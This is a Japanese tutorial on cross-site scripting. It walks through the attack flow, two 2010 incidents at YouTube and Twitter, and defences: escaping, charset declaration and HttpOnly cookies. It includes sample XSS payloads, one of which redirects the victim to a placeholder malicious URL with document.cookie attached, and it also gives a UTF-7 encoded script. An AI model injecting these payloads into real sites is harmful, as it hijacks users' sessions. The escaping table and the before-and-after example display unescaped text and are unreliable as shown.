目次
クロスサイトスクリプティング(XSS)とは
クロスサイトスクリプティング(XSS)とはWebサイトへの有名な攻撃で、他人のWebサイトに悪意のあるコードを登録する攻撃のことをいいます。主に掲示板などの書き込みサイトに悪意のあるコードを投稿し、何も知らないで訪れたユーザーにその悪意のあるコードを実行させ、Cookieなどの情報を抜き取る攻撃です。
クロスサイトスクリプティング(XSS)の流れは以下の通り
- 掲示板サイトなどに悪意のあるスクリプトを登録します。※罠を仕掛けます。
- 登録した悪意のあるスクリプトは、掲示板サイトのデータベースに登録されます。
- 何も知らないで掲示板サイトに訪れたユーザーは、掲示板サイトを閲覧しただけで悪意のあるスクリプトが勝手に実行されます。※罠が動き出します。
- 掲示板サイトを訪れたユーザーの重要な情報(Cookieなど)が悪意のあるサイトに送られます。
スポンサーリンク
今回の例は「重要な情報(Cookieなど)を送信する」という悪意のあるスクリプトの場合です。悪意のあるスクリプトの内容により4の挙動は変わります。このようにクロスサイトスクリプティング(XSS)の対策をしていないサイトは、悪意のあるユーザーによってスクリプトを埋め込まれ、攻撃者の思いのままに埋め込まれたスクリプトが実行してしまう危険性があるのです。
クロスサイトスクリプティング(XSS)によるセキュリティ事故の事例
YouTube 不正ポップアップなどの被害
2010年7月4日に動画共有サイトの米YouTubeを狙った攻撃が発生しました。この攻撃ではクロスサイトスクリプティング(XSS)の脆弱性が悪用されました。
この影響でコメントが表示されなくなったり、画面に「ニュース速報:(歌手の)ジャスティン・ビーバーが交通事故で死亡」というデマがポップアップ表示されるなどの被害が広がりました。また他にも不正なポップアップが出たり、悪趣味なWebサイトにリダイレクトされたりするケースが相次いだと言われています。
Googleは攻撃発生から2時間ほどでこの問題に対処したと伝えられています。
参考URL:https://www.itmedia.co.jp/enterprise/articles/1007/06/news018.html
Twitter タイムライン汚染攻撃
Twitterでクロスサイトスクリプティング(XSS)の脆弱性を突いた不正スクリプトが感染を広げていると、ロシアのセキュリティ企業Kaspersky Labが2010年9月7日のブログで伝えました。同社によると、この手口には悪質なJavaScriptが使われていて、ユーザーが偽ツイートにだまされて不正なリンクをクリックすると、cookieが盗まれて外部のサーバに転送されてしまうというと伝えられています。
Twitterは7日までに、この攻撃に使われていた脆弱性を修正したと伝えられています。
参考URL:https://www.itmedia.co.jp/news/articles/1009/08/news014.html
クロスサイトスクリプティング(XSS)の攻撃例
クロスサイトスクリプティング(XSS)の攻撃は様々な手段があります。本記事ではXSS攻撃でアラートを表示する攻撃例と悪意のあるサイトへリダイレクトさせる攻撃例を紹介します。
ますはアラートでデマ情報を表示させるXSSの攻撃例です。掲示板サイトなどの入力画面で以下のスクリプトを登録します。その後スクリプトを登録した画面を表示すると、アラートでデマ情報が表示されます。
"><script>alert('1クリックで100万円GET')</script><!--
スポンサーリンク
次に悪意のあるサイトへリダイレクトさせるXSSの攻撃例です。またクエリ文字列でCookie情報を付与しているので、悪意のあるサイトにリダイレクトするだけではなく、Cookie情報も送信しています。CookieでセッションIDを管理している場合は、セッションIDが悪意のある攻撃者に渡ってしまいます。
"><script>window.location='悪意のあるサイトのURL?'+document.cookie;</script><!--
クロスサイトスクリプティング(XSS)の対策方法
【XSS対策1】エスケープ処理の実施
クロスサイトスクリプティング(XSS)の対策の基本はエスケープ処理です。エスケープ処理とはウェブページの表示に影響する特別な記号文字(「<」「>」「&」等)を、HTMLエンティティ(「<」「>」「&」等)に置換する方法の事を言います。
主な特殊文字は以下の通り。
特殊文字 | 処理結果 | 説明 |
& | & | アンパサンド |
< | < | 不等号(より小さい) |
> | > | 不等号(より大きい) |
" | " | 二重引用符 |
' | ' | アポストロフィ |
エスケープ処理を実施することで、悪意のある実行可能なスクリプトが無効(ただの文字列)となります。
"><script>alert(document.cookie)</script><!--
↓ エスケープ処理を実施
"><script>alert(document.cookie)</script><!--
ただし、システムによってはHTMLタグを有効にしたい場合があります。その場合は許可する要素のみHTMLタグを有効にし、それ以外のHTMLタグはエスケープ処理を行うなどの対応が必要です。
【XSS対策2】文字コードを指定する
XSS対策1で説明したエスケープ処理だけでは、クロスサイトスクリプティング(XSS)対策は不十分です。その理由はUTF-7によるXSS攻撃があるからです。UTF-7によるXSS攻撃とは文字コードを指定していないサイトに対して、UTF-7で書かれたスクリプトでXSS攻撃を行うことを言います。
具体的には
<script> alert("xss") </script>
という文字列をUTF-7で表すと
+ADw-script+AD4- alert(+ACI-xss+ACI-) +ADw-/script+AD4-
このようにUTF-7では「<」「>」「"」といったエスケープ対象文字を記述せずに、実行可能なスクリプトを書くことが出来るのです。
HTTPのレスポンスヘッダのContent-Typeフィールドには、「Content-Type: text/html;charset=UTF-8」のように、文字コード(charset)を指定できます。この指定を省略した場合、ブラウザは、文字コードを独自の方法で推定して、推定した文字コードにしたがって画面表示を処理します。
そのため文字コードを指定していないと、いくらXSS対策でエスケープ処理を実施していてもUTF-7で書かれたスクリプトによりXSS攻撃を受けてしまうのです。
スポンサーリンク
HTTPレスポンスヘッダのContent-Typeフィールドには必ず文字コード(charset)を指定するようにしましょう。以下のいずれかを出力することでUTF-7のXSS攻撃は完全に防ぐことができます。
Content-Type: text/html; charset=UTF-8 Content-Type: text/html; charset=Shift_JIS Content-Type: text/html; charset=EUC-JP
【XSS対策3】発行するCookieにはHttpOnly属性を設定する
Cookieでセッション情報などの重要な情報を管理している場合は、CookieにあるHttpOnly属性を設定しましょう。HttpOnlyは、Cookie に設定できる属性のひとつで、これが設定されたCookieはJavaScriptの「Document.cookie API」からアクセスすることが出来なくなります。
Cookie情報はサーバー側のセッション管理などで使用するケースが多くJavaScriptで利用する必要はほとんどありません。そのためCookieでセッション情報などの重要な情報を管理する場合は、HttpOnly属性の設定をするべきだと考えられます。
[設定例] Set-Cookie: id=a3fWa; Expires=Wed, 25 Oct 2019 14:30:00 GMT; Secure; HttpOnly
HttpOnly属性を設定することで、XSS攻撃によるCookie情報の漏洩を防ぐことができます。
終わりに
本記事では有名な攻撃であるクロスサイトスクリプティング(XSS)について、実際のセキュリティ事故の事例から攻撃例・対策方法について紹介しました。
フレームワークを使って開発する場合は、基本フレームワークがクロスサイトスクリプティング(XSS)の対策をしてくれている事が多いです。
仮にフレームワークでクロスサイトスクリプティング(XSS)の対策がない場合は、共通基盤で対策するのが普通です。そのため開発担当者はそこまでクロスサイトスクリプティング(XSS)を意識する必要がないのかもしれません。
しかしクロスサイトスクリプティング(XSS)の知識が全くないと、思わぬ所にXSSの脆弱性を作ってしまう危険性があります。そうならない為にもしっかりとクロスサイトスクリプティング(XSS)の知識を持ち、開発することが必要だと考えられます。
また試験工程でもクロスサイトスクリプティング(XSS)の対策が十分に行われているか確認する事が重要です。